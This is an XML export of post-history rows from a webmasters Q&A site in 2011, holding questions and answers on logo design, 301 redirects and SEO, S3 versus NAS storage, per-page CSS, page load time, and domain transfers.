  <row Id="32832" PostHistoryTypeId="2" PostId="14089" RevisionGUID="5e9490c1-e17b-471c-ab85-fc49e49c3fd6" CreationDate="2011-05-19T14:44:11.197" UserId="-1" Text="" />
  <row Id="32833" PostHistoryTypeId="25" PostId="14081" RevisionGUID="1556ed45-3beb-4d4a-99dc-d4f47b11cfff" CreationDate="2011-05-19T15:12:22.120" Comment="http://twitter.com/#!/StackWebmasters/status/71231728001359872" />
  <row Id="32834" PostHistoryTypeId="2" PostId="14090" RevisionGUID="2bcef21c-e885-4865-9f3a-1ffbf5ff0388" CreationDate="2011-05-19T15:40:50.000" UserId="6231" Text="Which tools and techniques do you use for designing slogans on website? I tried [this](http://cooltext.com/) one but I wasn't satisfied with it. There is little choice of usable designs and it is aliased in firefox (in chrome is was better).&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="32835" PostHistoryTypeId="1" PostId="14090" RevisionGUID="2bcef21c-e885-4865-9f3a-1ffbf5ff0388" CreationDate="2011-05-19T15:40:50.000" UserId="6231" Text="How to design a slogan" />
  <row Id="32836" PostHistoryTypeId="3" PostId="14090" RevisionGUID="2bcef21c-e885-4865-9f3a-1ffbf5ff0388" CreationDate="2011-05-19T15:40:50.000" UserId="6231" Text="&lt;website-design&gt;&lt;fonts&gt;&lt;web-design&gt;" />
  <row Id="32840" PostHistoryTypeId="5" PostId="14088" RevisionGUID="c8897164-1177-4f71-908d-bd89250c70a3" CreationDate="2011-05-19T16:00:14.057" UserId="1643" Comment="added 301 characters in body" Text="Personal data is defined in the local laws that govern this area, but is generally taken to be information about living individuals.&#xD;&#xA;&#xD;&#xA;The laws governing this area vary from country to country. In Europe there are Data Protection laws which are then enshrined in laws in each of the member countries." />
  <row Id="32841" PostHistoryTypeId="24" PostId="14088" RevisionGUID="c8897164-1177-4f71-908d-bd89250c70a3" CreationDate="2011-05-19T16:00:14.057" Comment="Proposed by 1643 approved by 1253 edit id of 312" />
  <row Id="32842" PostHistoryTypeId="5" PostId="14089" RevisionGUID="8aff2377-1e34-47c8-924c-eef1e306515e" CreationDate="2011-05-19T16:00:13.447" UserId="1643" Comment="added 201 characters in body" Text="&quot;Privacy&quot; as used on this site is shorthand for the idea that personal data should be looked after, specifically data that is on the internet. It is also referred to as Data Privacy or Data Protection." />
  <row Id="32843" PostHistoryTypeId="24" PostId="14089" RevisionGUID="8aff2377-1e34-47c8-924c-eef1e306515e" CreationDate="2011-05-19T16:00:13.447" Comment="Proposed by 1643 approved by 1253 edit id of 313" />
  <row Id="32844" PostHistoryTypeId="16" PostId="14090" RevisionGUID="94528481-284d-40aa-a57c-fdb6c9e99025" CreationDate="2011-05-19T16:05:01.730" UserId="1064" />
  <row Id="32848" PostHistoryTypeId="2" PostId="14094" RevisionGUID="46336ce2-7be6-4b6c-90f6-697a99e408e5" CreationDate="2011-05-19T16:58:49.720" UserId="7107" Text="This data is obviously very import to your business.  So managing the risk of data loss is very important as well.  Take the following into consideration:&#xD;&#xA;&#xD;&#xA;Amazon S3 is designed to provide 99.999999999% durability and 99.99% availability.  Basically, your data will be very well protected against hardware failure as well as against things such as power &amp; network problems.  Their data centers are probably much more resilient and protected against things like fire, hurricanes, theft, etc...&#xD;&#xA;&#xD;&#xA;Implementing and maintaining your own NAS will cost you in terms of acquiring the hardware, putting it together, learning how it works, testing it, rolling it to production, monitoring it, etc...  A highly-available NAS (meaning a mirror of 2 or more NAS heads each with their own set of drives) will cost you even more.  And you still won't be on par with S3 - especially if you are hosting it in an office and not in a real data center.  If you are hosting your servers from your own office, how well are they protected against fire, theft, power outages?  Also, do you have redundant networking to protect against network hardware failures?  What if your SA is on vacation and something happens to your NAS system?  When your SA leaves your company, you will have to find an SA who knows how to manage your custom system.  If that weren't enough, do you have a disaster recovery plan that includes having off-site copies of your data in case your server room burned to the ground?&#xD;&#xA;&#xD;&#xA;Hosting your own NAS could be as cheap as using a lower-end solution from [drobo.com][1] or [synology.com][2].  A more scalable, mid-range solution is to build your own NAS with products from [coraid.com][3] and [nexenta.com][4] or going with a custom-built system from any of the companies listed at [nexenta.com partners/resellers][7].  These solutions will also take more time to implement than going with S3.&#xD;&#xA;&#xD;&#xA;No matter which solution you choose, be sure you are doing regular backups of your data.  Sure, a fault-tolerant storage solution will protect against hardware failure, but it won't protect against user error and malicious activities.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.drobo.com/&#xD;&#xA;  [2]: http://www.synology.com&#xD;&#xA;  [3]: http://www.coraid.com/&#xD;&#xA;  [4]: http://www.nexenta.com&#xD;&#xA;  [5]: http://www.pogolinux.com/products/storage_director&#xD;&#xA;  [6]: http://www.nordisksystems.com/sbb.html&#xD;&#xA;  [7]: http://www.nexenta.com/corp/reseller-partners/partners-americas&#xD;&#xA;&#xD;&#xA;I hope this is helpful to you!" />
  <row Id="32849" PostHistoryTypeId="2" PostId="14095" RevisionGUID="a73e47ea-fd07-49ea-af64-a6cbd254eaa2" CreationDate="2011-05-19T17:13:32.200" UserId="4786" Text="If S3 is going to cost you $1500/month -- you can get a full rack with power and managed Internet for close to that at a professionally managed data center. And if you find a data center that does half or quarter racks, you could probably get that down even further.&#xD;&#xA;&#xD;&#xA;If you have a web server now, a second &quot;image-data-only&quot; web server, a firewall, and a switch should put you in the 6U range, so a quarter rack should be plenty.&#xD;&#xA;&#xD;&#xA;If you have the capital to pickup a couple extra servers, I strongly encourage you to run your own. In the long run it will save you lots of money. This operates on the assumption that you don't require S3 uptime, and since you're gonna run your own web server anyway, I presume that doesn't matter." />
  <row Id="32850" PostHistoryTypeId="2" PostId="14096" RevisionGUID="0872e05b-6e3b-4a5c-a1b3-46a09873b41b" CreationDate="2011-05-19T17:27:29.553" UserId="7661" Text="Since i couldn't find any appropriate answer to my specific question, I wanted to ask you.&#xD;&#xA;&#xD;&#xA;I've read alot of things about the 301-redirect for moving pages and so on. A customer of mine has booked a new domain last year for better search results (he included his main keyword into the domain. Before he had only a domain with his business name, which had nothing to say about what he does).&#xD;&#xA;&#xD;&#xA;I told him, that he should do a 301-redirect so he doesn't loose his position in Google and to redirect all new customers coming from the old domain to the new domain.&#xD;&#xA;&#xD;&#xA;After about one year where his site hat a good amount of traffic the search results of Google for his keywords are getting more worse.&#xD;&#xA;Since he didn't maintain his website (no new content, bad content on all pages and so on) I assumed this would be the problem.&#xD;&#xA;&#xD;&#xA;He gave his website to another company who does website which told him, that this 301-redirection is very bad for his website.&#xD;&#xA;They removed it, and also updated his content and the template so now he has the same meta keywords on every page (instead of the specific ones I put there before).&#xD;&#xA;He also removed the canonical-tag which I placed there to ensure no duplicate content.&#xD;&#xA;&#xD;&#xA;What I am now afraid of is, that without this redirect Google now will find duplicate content and therefore kick him out of the index, which would be a nightmare, since most of his customers come over his website.&#xD;&#xA;&#xD;&#xA;I need verification of the fact, that the 301 isn't bad but in fact the correct way of working with 2 domains. If possible with good sources I can point out to him since he don't wants to hear anything about this.&#xD;&#xA;&#xD;&#xA;If someone also has a few words about the keywords and the canonical-tag I would really appreciate it!&#xD;&#xA;&#xD;&#xA;Thank you very much!" />
  <row Id="32851" PostHistoryTypeId="1" PostId="14096" RevisionGUID="0872e05b-6e3b-4a5c-a1b3-46a09873b41b" CreationDate="2011-05-19T17:27:29.553" UserId="7661" Text="301 redirect: Is this good or bad for 2 domains?" />
  <row Id="32852" PostHistoryTypeId="3" PostId="14096" RevisionGUID="0872e05b-6e3b-4a5c-a1b3-46a09873b41b" CreationDate="2011-05-19T17:27:29.553" UserId="7661" Text="&lt;seo&gt;&lt;google&gt;&lt;301-redirect&gt;&lt;meta-keywords&gt;" />
  <row Id="32853" PostHistoryTypeId="2" PostId="14097" RevisionGUID="8200f440-ab60-4a83-b0e0-e095096ca879" CreationDate="2011-05-19T17:32:20.470" UserId="1253" Text="Your advice was good, the other company's advice is bad (as is common with those kind of companies). They should be using 301 redirects from the old URL to the new URL. The canonical tags are unnecessary since the 301 redirect will trump them but they don't hurt either and may catch accidental duplicate content within their website. [Google covers][1] [this well][2] so there is no ambiguous sources or possible misinformation.&#xD;&#xA;&#xD;&#xA;The odds are they are going to run into issues with duplicate content. I bet the other company told them exactly what they wanted to hear and so they're running with it. I see it happen all the time. Feel bad for your friend but he's going to get what he deserves. &#xD;&#xA;&#xD;&#xA;[FYI, the meta keywords tag has no SEO value at all][3]. So it doesn't really matter what is done with them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/12/handling-legitimate-cross-domain.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/10/reunifying-duplicate-content-on-your.html&#xD;&#xA;  [3]: http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html" />
  <row Id="32854" PostHistoryTypeId="5" PostId="14096" RevisionGUID="f37c2612-4732-45cc-9327-c1962b244558" CreationDate="2011-05-19T17:34:46.583" UserId="7661" Comment="added 9 characters in body" Text="Since i couldn't find any appropriate answer to my specific question, I wanted to ask you.&#xD;&#xA;&#xD;&#xA;I've read alot of things about the 301-redirect for moving pages and so on. A customer of mine has booked a new domain last year for better search results (he included his main keyword into the domain. Before he had only a domain with his business name, which had nothing to say about what he does).&#xD;&#xA;&#xD;&#xA;I told him, that he should do a 301-redirect so he doesn't loose his position in Google and to redirect all new customers coming from the old domain to the new domain.&#xD;&#xA;&#xD;&#xA;After about one year where his site hat a good amount of traffic the search results of Google for his keywords are getting more worse.&#xD;&#xA;Since he didn't maintain his website (no new content, bad content on all pages and so on) I assumed this would be the problem.&#xD;&#xA;&#xD;&#xA;He gave his website to another company which also makes websites. They told him, that this 301-redirection is very bad for his website.&#xD;&#xA;They removed it, and also updated his content and the template so now he has the same meta keywords on every page (instead of the specific ones I put there before).&#xD;&#xA;He also removed the canonical-tag which I placed there to ensure no duplicate content.&#xD;&#xA;&#xD;&#xA;What I am now afraid of is, that without this redirect Google now will find duplicate content and therefore kick him out of the index, which would be a nightmare, since most of his customers come over his website.&#xD;&#xA;&#xD;&#xA;I need verification of the fact, that the 301 isn't bad but in fact the correct way of working with 2 domains. If possible with good sources I can point out to him since he don't wants to hear anything about this.&#xD;&#xA;&#xD;&#xA;If someone also has a few words about the keywords and the canonical-tag I would really appreciate it!&#xD;&#xA;&#xD;&#xA;Thank you very much!" />
  <row Id="32855" PostHistoryTypeId="2" PostId="14098" RevisionGUID="f2a532ce-15a7-4d86-82c4-a5dcd40257d6" CreationDate="2011-05-19T17:40:07.400" UserId="7662" Text="I have the logo below:&#xD;&#xA;&#xD;&#xA;![][1]&#xD;&#xA;&#xD;&#xA;I can't think of a theme that would look professional and utilize the horrible black background.  What would you do with this?  I have limited access when it comes to editing the image itself, I can change the background colour and that is about it.  The images full size is:  792 x 216.&#xD;&#xA;&#xD;&#xA;Thanks if you can help!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/v190I.png" />
  <row Id="32856" PostHistoryTypeId="1" PostId="14098" RevisionGUID="f2a532ce-15a7-4d86-82c4-a5dcd40257d6" CreationDate="2011-05-19T17:40:07.400" UserId="7662" Text="Site theme for this image:" />
  <row Id="32857" PostHistoryTypeId="3" PostId="14098" RevisionGUID="f2a532ce-15a7-4d86-82c4-a5dcd40257d6" CreationDate="2011-05-19T17:40:07.400" UserId="7662" Text="&lt;image&gt;&lt;theme&gt;&lt;headers&gt;" />
  <row Id="32858" PostHistoryTypeId="10" PostId="14098" RevisionGUID="3b4c8fa3-78bf-4b62-bff7-aaad46d5252f" CreationDate="2011-05-19T17:41:25.563" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="32859" PostHistoryTypeId="2" PostId="14099" RevisionGUID="c1970407-3037-429e-844f-4dda151b0547" CreationDate="2011-05-19T17:43:20.163" UserId="7662" Text="In my opinion, the simpler the better.  A complicated logo (what I believe you are trying to say you want) is actually harder for a client to remember.  A simple logo is usually more pleasing and much easier to remember (such as just a typography effect).  Mess around just typing the name of the website in different fonts and sizes.  Try putting a box around the words etc.&#xD;&#xA;&#xD;&#xA;It's best not to use online tools for logos because they tend to look cheap and &quot;cheezy&quot;." />
  <row Id="32860" PostHistoryTypeId="16" PostId="14099" RevisionGUID="6480652c-1be0-408b-8deb-e3e498ab4bf5" CreationDate="2011-05-19T17:43:20.163" UserId="7662" />
  <row Id="32861" PostHistoryTypeId="25" PostId="14096" RevisionGUID="8b14bf65-641d-4c1d-a68f-b7d74c072212" CreationDate="2011-05-19T18:12:22.643" Comment="http://twitter.com/#!/StackWebmasters/status/71277028627857408" />
  <row Id="32862" PostHistoryTypeId="2" PostId="14100" RevisionGUID="e99e982c-a3c9-419f-a853-5b3d79864d16" CreationDate="2011-05-19T19:21:13.047" UserId="7628" Text="I've got a simple, working demo page using jPlayer, which I built using the following guide:&#xD;&#xA;http://www.jplayer.org/latest/quick-start-guide/step-8-audio/&#xD;&#xA;&#xD;&#xA;That was pretty straight forward.&#xD;&#xA;&#xD;&#xA;Now I'm looking for the steps on how to make the necessary &lt;head&gt; tag modifications necessary (for my product pages only, preferably), such that I can put jPlayer instances on arbitrary product pages." />
  <row Id="32863" PostHistoryTypeId="1" PostId="14100" RevisionGUID="e99e982c-a3c9-419f-a853-5b3d79864d16" CreationDate="2011-05-19T19:21:13.047" UserId="7628" Text="Adding jPlayer to Magento site" />
  <row Id="32864" PostHistoryTypeId="3" PostId="14100" RevisionGUID="e99e982c-a3c9-419f-a853-5b3d79864d16" CreationDate="2011-05-19T19:21:13.047" UserId="7628" Text="&lt;magento&gt;&lt;http-headers&gt;" />
  <row Id="32865" PostHistoryTypeId="5" PostId="14100" RevisionGUID="10258905-5450-4627-98e9-11554331e5e6" CreationDate="2011-05-19T19:23:47.410" UserId="1253" Comment="modified tags" Text="I've got a simple, working demo page using jPlayer, which I built using the following guide:&#xD;&#xA;http://www.jplayer.org/latest/quick-start-guide/step-8-audio/&#xD;&#xA;&#xD;&#xA;That was pretty straight forward.&#xD;&#xA;&#xD;&#xA;Now I'm looking for the steps on how to make the necessary &lt;head&gt; tag modifications necessary (for my product pages only, preferably), such that I can put jPlayer instances on arbitrary product pages. " />
  <row Id="32866" PostHistoryTypeId="6" PostId="14100" RevisionGUID="10258905-5450-4627-98e9-11554331e5e6" CreationDate="2011-05-19T19:23:47.410" UserId="1253" Comment="modified tags" Text="&lt;magento&gt;&lt;jplayer&gt;" />
  <row Id="32867" PostHistoryTypeId="5" PostId="14100" RevisionGUID="8ee4bd97-ca0d-46b9-b2aa-f16aa04d4cf7" CreationDate="2011-05-19T19:29:54.057" UserId="7628" Comment="Corrected a couple of typos / clarified my wording." Text="I've got a simple, working demo page using jPlayer, which I built using the following guide:&#xD;&#xA;http://www.jplayer.org/latest/quick-start-guide/step-8-audio/&#xD;&#xA;&#xD;&#xA;That was pretty straight forward.&#xD;&#xA;&#xD;&#xA;Now I'm looking for instructions on how to make the necessary `&lt;head&gt;` tag modifications such that I can have jPlayer show up on product pages in Magento." />
  <row Id="32868" PostHistoryTypeId="2" PostId="14101" RevisionGUID="c5ee5c6a-2711-4714-87f3-1e02533a7097" CreationDate="2011-05-19T20:29:02.173" UserId="7287" Text="I use Adobe Photoshop and Illustrator to make my jpeg or png logo image. Generally you want the logo to have elements similar to those used in the rest of your site. Color, font size and texture should all be considered in the context of your entire site when making a logo and or slogan." />
  <row Id="32869" PostHistoryTypeId="16" PostId="14101" RevisionGUID="96d38849-edcd-497d-a6a5-e3cc3fce5322" CreationDate="2011-05-19T20:29:02.173" UserId="7287" />
  <row Id="32870" PostHistoryTypeId="25" PostId="14077" RevisionGUID="f3e2ce22-49c6-49bd-9b17-a03107dfe887" CreationDate="2011-05-19T21:12:23.150" Comment="http://twitter.com/#!/StackWebmasters/status/71322329124315136" />
  <row Id="32878" PostHistoryTypeId="5" PostId="11864" RevisionGUID="0844a80a-596e-4904-9a92-c4ac6b415b72" CreationDate="2011-05-20T02:08:16.187" UserId="4786" Comment="removed greeting and signature per faq, fixed spacing..." Text="Been testing out different webmail options to use (so far AfterLogic, Horde) And it seems that there is no options to change password for user.&#xD;&#xA;&#xD;&#xA;It's really bad thing that i have to go to server and manually change passwords for users.&#xD;&#xA;&#xD;&#xA;Is there any webmail solution that will allow me to change password, that also changes on server (as client).&#xD;&#xA;&#xD;&#xA;Or is it server setting i must use before? Or it is not possible?&#xD;&#xA;&#xD;&#xA;EDIT: **Note that i have cPanel host.**" />
  <row Id="32879" PostHistoryTypeId="24" PostId="11864" RevisionGUID="0844a80a-596e-4904-9a92-c4ac6b415b72" CreationDate="2011-05-20T02:08:16.187" Comment="Proposed by 4786 approved by 1253 edit id of 314" />
  <row Id="32880" PostHistoryTypeId="2" PostId="14103" RevisionGUID="eeb4c5b1-28b3-4fe3-b482-15c0ca6b5742" CreationDate="2011-05-20T02:35:24.233" UserId="7673" Text="try this:&#xD;&#xA;&#xD;&#xA;control panel&gt;file manager&gt;root&gt;index.html" />
  <row Id="32881" PostHistoryTypeId="25" PostId="14090" RevisionGUID="88ce5e69-3907-4aa2-8cca-e99c79db5b9a" CreationDate="2011-05-20T03:12:24.043" Comment="http://twitter.com/#!/StackWebmasters/status/71412929894957056" />
  <row Id="32882" PostHistoryTypeId="2" PostId="14104" RevisionGUID="4daa4570-5e87-49c8-9d2f-3550acce9ca5" CreationDate="2011-05-20T03:37:37.780" UserId="5348" Text="What is the preferred method for organizing CSS that is only used by a single HTML page. Should I put the CSS in:&#xD;&#xA;&#xD;&#xA;* a &lt;style&gt; section in the HTML doc?&#xD;&#xA;* a CSS file associated with the HTML doc? eg: contacts.html, contacts.css&#xD;&#xA;* a master CSS file and organize it into sections indicated with header comments." />
  <row Id="32883" PostHistoryTypeId="1" PostId="14104" RevisionGUID="4daa4570-5e87-49c8-9d2f-3550acce9ca5" CreationDate="2011-05-20T03:37:37.780" UserId="5348" Text="File Specific CSS. Inside HTML doc or as a seperate file?" />
  <row Id="32884" PostHistoryTypeId="3" PostId="14104" RevisionGUID="4daa4570-5e87-49c8-9d2f-3550acce9ca5" CreationDate="2011-05-20T03:37:37.780" UserId="5348" Text="&lt;css&gt;" />
  <row Id="32888" PostHistoryTypeId="2" PostId="14106" RevisionGUID="dd95d889-1bc9-4224-80e9-de3b18822577" CreationDate="2011-05-19T12:52:57.207" UserDisplayName="Guy Fawkes" Text="You know how all around the web, people are pushing for smaller and smaller page load times ? They do so with good reason, especially with Google now factoring it in in their way to rank pages. It's good business practice, good business ethics, and everybody is happier when pages load faster.&#xD;&#xA;&#xD;&#xA;Now, something's been bothering me as of late. I had this page that loaded reasonably fast (under a second) but in it was a facebook like button. This little thingy cranked up the page load time to 2 seconds. But just the actual one, not the perceived one. For users, everything loaded fast enough on the page except for that iFrame.&#xD;&#xA;&#xD;&#xA;So, for Google, even though it loaded fine for users (in term of usability etc), did it penalize us ? I've decided to remove it, and follow the results in analytics. Will this help with SEO ?&#xD;&#xA;&#xD;&#xA;I feel like the concept of page load time itself shouldn't be restricted to the combined loading time of all elements on the page as calculated by a tool. I hope I am posting this in the right area, I wasn't too sure.&#xD;&#xA;&#xD;&#xA;Thanks in advance for your answers !" />
  <row Id="32889" PostHistoryTypeId="1" PostId="14106" RevisionGUID="dd95d889-1bc9-4224-80e9-de3b18822577" CreationDate="2011-05-19T12:52:57.207" UserDisplayName="Guy Fawkes" Text="Actual page load time vs. perceived one" />
  <row Id="32890" PostHistoryTypeId="3" PostId="14106" RevisionGUID="dd95d889-1bc9-4224-80e9-de3b18822577" CreationDate="2011-05-19T12:52:57.207" UserDisplayName="Guy Fawkes" Text="&lt;seo&gt;&lt;google-analytics&gt;" />
  <row Id="32891" PostHistoryTypeId="17" PostId="14106" RevisionGUID="66c4e75a-ad86-4263-9190-f5e042371f8e" CreationDate="2011-05-20T05:40:50.637" UserId="-1" Comment="from http://stackoverflow.com/questions/6058910/actual-page-load-time-vs-perceived-one" Text="" />
  <row Id="32893" PostHistoryTypeId="2" PostId="14107" RevisionGUID="140125a0-edd1-4efb-913c-8792bee55be9" CreationDate="2011-05-20T06:34:49.310" UserId="1064" Text="If the CSS directives affect only one HTML document, it only makes sense to keep the directives in the document.&#xD;&#xA;&#xD;&#xA;From a maintenance perspective, if the document's structure or content changes the CSS directives may need to change as well and, from a performance perspective, it does not make sense to force users to download directives for a single document when they visit other pages on the site." />
  <row Id="32894" PostHistoryTypeId="17" PostId="14109" RevisionGUID="4cf99318-9cbb-4b78-ad5a-5417f3f3d81f" CreationDate="2011-05-20T06:55:49.410" UserId="-1" Comment="from http://stackoverflow.com/questions/6066775/dealing-with-broken-links-and-dead-pages-on-search-engines/6066858#6066858" Text="" />
  <row Id="32895" PostHistoryTypeId="17" PostId="14110" RevisionGUID="646bf969-9d53-45c8-8df4-fa21442c1c4d" CreationDate="2011-05-20T06:55:49.410" UserId="-1" Comment="from http://stackoverflow.com/questions/6066775/dealing-with-broken-links-and-dead-pages-on-search-engines/6066866#6066866" Text="" />
  <row Id="32896" PostHistoryTypeId="2" PostId="14109" RevisionGUID="0835d314-9614-4b47-92a5-6ae36724b56c" CreationDate="2011-05-20T02:24:51.143" UserId="3730" Text="In an ideal world, you'd set up a rule that sends [`301 Moved Permanently`][1] (sorry, it's a text doc, so you'll have to search for the linked phrase) responses when somebody asks for one of the old pages. Depending on your situation/constraints, that may or may not be feasible, but it's the &quot;best&quot; in terms of trying to keep your existing Google juice and making people who've bookmarked/linked to your pages happy.&#xD;&#xA;&#xD;&#xA;As far as Google-specific things go, you may want to check out their [webmaster tools][2] to see if they have anything targeted at this specific use case.&#xD;&#xA;&#xD;&#xA;[1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html&#xD;&#xA;[2]: http://www.google.com/webmasters/" />
  <row Id="32897" PostHistoryTypeId="2" PostId="14110" RevisionGUID="ce7b82bf-bbad-4394-955a-8217c805952d" CreationDate="2011-05-20T02:27:39.910" UserDisplayName="VoteyDisciple" Text="The best option is always to leave the URLs unchanged. URLs should never reveal the technology that's running the website; it should merely identify the content. This question on StackOverflow, for example, includes a question ID and a &quot;slug&quot; describing the title, but no indication of what technology might be used to retrieve it.&#xD;&#xA;&#xD;&#xA;However, sometimes you have no choice, and the URLs simply have to change to compensate for earlier mistakes. In this case, the best option is to leave behind 301 redirects from the old to the new address. With Apache's `mod_asis`, you can create an `index.asis` file which is the &quot;as-is&quot; response to the HTTP request — i.e., complete with headers. And thus you can do&#xD;&#xA;&#xD;&#xA;    Status: 301&#xD;&#xA;    Location: http://www.example.com/new/page/&#xD;&#xA;&#xD;&#xA;The 301 status code is important, since it tells crawlers the page has &quot;Moved Permanently&quot;, and most will then update their links accordingly.&#xD;&#xA;&#xD;&#xA;If you're doing this in bulk, `mod_rewrite` may be better suited. You can create a rewrite rule that performs the same sort of redirect for all pages matching an old-style URL into the corresponding new-style URL. This, of course, demands that there be some pattern to the URLs (or a script that can somehow map old to new).&#xD;&#xA;&#xD;&#xA;Either way, the redirects can then remain in place permanently, so even severely antiquated links may continue to work.&#xD;&#xA;&#xD;&#xA;Anything short of that leaves open the potential to lose a visitor, since you cannot be sure where old links to your site may lurk. One might, for example, be in my personal bookmarks, which are stored only on my local computer — and you'd never know until I click it to revisit your site some day. So any effort to specifically find and fix old links is necessarily incomplete. &#xD;&#xA;&#xD;&#xA;Having said all that, if you absolutely cannot keep the existing URLs and you absolutely cannot use 301 redirects... then yes, you should have Google specifically crawl your site again, which will automatically detect the dead links and discover the new ones." />
  <row Id="32898" PostHistoryTypeId="2" PostId="14108" RevisionGUID="6da9dd52-663c-4c77-adbb-d56b086919ca" CreationDate="2011-05-20T02:06:15.533" UserDisplayName="Paramount" Text="I recently had to reconstruct the way my website runs. Along with that I have to change the way my urls are formatted. My website is not terribly popular (hoping changes will fix that) but I do have 500+ pages indexed on just Google.&#xD;&#xA;&#xD;&#xA;My question is should I/can I do anything about removing these dead pages from Google and other search engines? What should I do about backlinks?" />
  <row Id="32899" PostHistoryTypeId="1" PostId="14108" RevisionGUID="6da9dd52-663c-4c77-adbb-d56b086919ca" CreationDate="2011-05-20T02:06:15.533" UserDisplayName="Paramount" Text="Dealing with broken links and dead pages on search engines" />
  <row Id="32900" PostHistoryTypeId="3" PostId="14108" RevisionGUID="6da9dd52-663c-4c77-adbb-d56b086919ca" CreationDate="2011-05-20T02:06:15.533" UserDisplayName="Paramount" Text="&lt;web-development&gt;&lt;url&gt;&lt;search-engines&gt;" />
  <row Id="32901" PostHistoryTypeId="17" PostId="14108" RevisionGUID="43d57404-94ed-4219-a062-b6d86444ff57" CreationDate="2011-05-20T06:55:49.410" UserId="-1" Comment="from http://stackoverflow.com/questions/6066775/dealing-with-broken-links-and-dead-pages-on-search-engines" Text="" />
  <row Id="32902" PostHistoryTypeId="2" PostId="14111" RevisionGUID="31868915-e75e-489e-8bd5-abcd9a2d04ba" CreationDate="2011-05-20T07:16:55.797" UserId="2748" Text="Before answering this question, ask yourself a question, How do you centralise your codes? Is it based on type? or Is it based on modules / pages?&#xD;&#xA;&#xD;&#xA;If it is based on types, it is better you centralise your codes in a particular folder of a single type only&#xD;&#xA;&#xD;&#xA;    css/&#xD;&#xA;        index.css&#xD;&#xA;        home.css&#xD;&#xA;        aboutus.css&#xD;&#xA;&#xD;&#xA;Or if it is based on modules then better centralize in a single page / module.&#xD;&#xA;Like&#xD;&#xA;&#xD;&#xA;    home.html (It will contain, markup, css and script that is related to home.html)&#xD;&#xA;    aboutus.html (.............." />
  <row Id="32903" PostHistoryTypeId="6" PostId="14106" RevisionGUID="470c66b4-9364-45a7-a9f1-48cd98f84bcc" CreationDate="2011-05-20T07:23:15.280" UserId="4461" Comment="edited tags" Text="&lt;seo&gt;&lt;performance&gt;&lt;page-speed&gt;" />
  <row Id="32904" PostHistoryTypeId="2" PostId="14112" RevisionGUID="3205954b-3386-49d0-aaa9-e9aee2443bef" CreationDate="2011-05-20T07:27:40.240" UserId="4461" Text="So the Facebook button is loaded in an iFrame? if so, then Google won't &quot;see&quot; that or attribute it to your site.&#xD;&#xA;&#xD;&#xA;If you're loading in about 1-2 secs in terms of total loading time, then you're still operating within the top percentile of all websites. It's only when sites take much longer - 5s+ and beyond when it *may* start to have an impact and even then only a very minor part of the total ranking algorithm.&#xD;&#xA;&#xD;&#xA;Short answer - I wouldn't worry about that level of performance." />
  <row Id="32905" PostHistoryTypeId="2" PostId="14113" RevisionGUID="9d04d69f-7772-4267-8588-7401ba1510cc" CreationDate="2011-05-20T07:33:07.803" UserId="4424" Text="I want to allow users to share memes anonymously with their friends. &#xD;&#xA;&#xD;&#xA;I am trying to figure out how this can be done through Facebook: are there any Facebook APIs which will allow users to share through a different profile, or anonymously altogether? e.g. I create a 'anonymous' profile, the user simply inputs their meme and selects all the friends they want to share with, and all that the friends will see is that a message has been sent by 'anonymous'. Is this possible? Alternative solutions?&#xD;&#xA;&#xD;&#xA;Thanks. " />
  <row Id="32906" PostHistoryTypeId="1" PostId="14113" RevisionGUID="9d04d69f-7772-4267-8588-7401ba1510cc" CreationDate="2011-05-20T07:33:07.803" UserId="4424" Text="Allow user to share anonymously: options?" />
  <row Id="32907" PostHistoryTypeId="3" PostId="14113" RevisionGUID="9d04d69f-7772-4267-8588-7401ba1510cc" CreationDate="2011-05-20T07:33:07.803" UserId="4424" Text="&lt;facebook&gt;&lt;social-networks&gt;&lt;facebook-application&gt;" />
  <row Id="32908" PostHistoryTypeId="2" PostId="14114" RevisionGUID="d36eff70-f157-4752-9dc5-d281f3b5efb0" CreationDate="2011-05-20T07:57:26.917" UserId="6138" Text="[Zeuscar][1]t is the best free php ecommerce shopping cart script &amp; it is highly customizable according to your needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zeuscart.com" />
  <row Id="32909" PostHistoryTypeId="2" PostId="14115" RevisionGUID="c8de30bc-5c9f-44ee-8c41-6c281735ef34" CreationDate="2011-05-20T08:05:26.910" UserId="1643" Text="I'm assuming that there are other pages which use the master CSS file you mention. In that case I think the third option is best. I'm also assuming that this single HTML file also uses CSS from that master file.&#xD;&#xA;&#xD;&#xA;The trouble with the first option is that it's not the way things are usually done, and so in the future when either you or someone else wants to change things it may take you/them a while to find out where the CSS is.&#xD;&#xA;&#xD;&#xA;The advantage of the third option is if you want to change the way this contacts.html file looks you only have to go and look in one place - the master file. The CSS that applies to that page and others is there, and the CSS that applies only to that page is there. It also helps with performance because if visitors to your site have already visited the other pages then they have that file cached and they don't need to load it again.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32910" PostHistoryTypeId="2" PostId="14116" RevisionGUID="a7832299-aba2-4a66-8514-03bddaae1643" CreationDate="2011-04-13T08:38:49.937" UserDisplayName="Rob" Text="This is something that has arisen several times and we don't quite know how to handle it, all suggestions are welcome!&#xD;&#xA;&#xD;&#xA;We have a few different domains with other companies that we want to transfer to us. The problem is that these domains have successful websites and email working with several employees, which in turn is used heavily.&#xD;&#xA;&#xD;&#xA;We want full control of the domains and everything with it, so there's no chance of pointing a/mx records. We want to cut any other companies out of the loop completely.&#xD;&#xA;&#xD;&#xA;How can we transfer the domains to our isp, keeping downtime to a minimum. Can someone walk me through the process please? What's the best practice?" />
  <row Id="32911" PostHistoryTypeId="1" PostId="14116" RevisionGUID="a7832299-aba2-4a66-8514-03bddaae1643" CreationDate="2011-04-13T08:38:49.937" UserDisplayName="Rob" Text="Domain transfers - handling the downtime" />
  <row Id="32912" PostHistoryTypeId="3" PostId="14116" RevisionGUID="a7832299-aba2-4a66-8514-03bddaae1643" CreationDate="2011-04-13T08:38:49.937" UserDisplayName="Rob" Text="&lt;domains&gt;" />
